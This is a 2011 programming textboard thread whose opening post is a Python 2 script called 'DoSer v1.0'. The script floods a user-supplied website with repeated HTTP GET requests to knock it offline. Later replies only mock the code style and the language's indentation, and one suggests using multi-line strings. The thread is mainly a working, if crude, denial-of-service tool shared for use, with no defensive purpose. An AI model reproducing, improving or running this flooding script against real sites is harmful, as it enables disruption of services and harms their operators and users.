Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon.

Pages: 1-

DoSer Python

Name: ARTE UNO CABESA! 2011-06-15 0:35

#!/usr/bin/python
import socket, sys, os

def ayuda():
    print "##############################"
    print "######### DoSer v1.0 #########"
    print "###### Coded by: d33k40 ######"
    print "##############################"
    print "------------------------------"
    print "# - USO: DoSer.py www.web.com archivo.html/archivo.php?id=55 300 500"
    print "# - *300: Peticiones"
    print "# - *500: Sockets"
def atacar():
    print "X-> Atacando: " + sys.argv[1]  + " ..."
    print "  > Archivo/inyeccion: " + sys.argv[2]
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((sys.argv[1], 80))
    print "  << GET /" + sys.argv[2] + " HTTP/1.1"
    s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")
    s.send("Host: " + sys.argv[1]  + "\r\n\r\n")
    s.close()
def inicio():
    peticiones = sys.argv[3]
    for i in range(1, int(peticiones)):
        atacar()
if(len(sys.argv) > 3):
    inicio()
else:
    ayuda()

Name: Anonymous 2011-06-15 1:01

Damn even for FIOC that's some ugly ass code.

Seriously, couldn't you use a good language?

Name: Anonymous 2011-06-15 1:38

How simplistic. Kidz these days.

Name: Anonymous 2011-06-15 1:53

one word: THE FORCED INDENTATION OF CODE

Name: Anonymous 2011-06-15 5:56

Sorry, I don't see any code.

Name: Anonymous 2011-06-15 8:51

You could use multi-line strings instead of repeated print commands, it makes it easier to alter later.

Don't change these.
Name: Email:
Entire Thread Thread List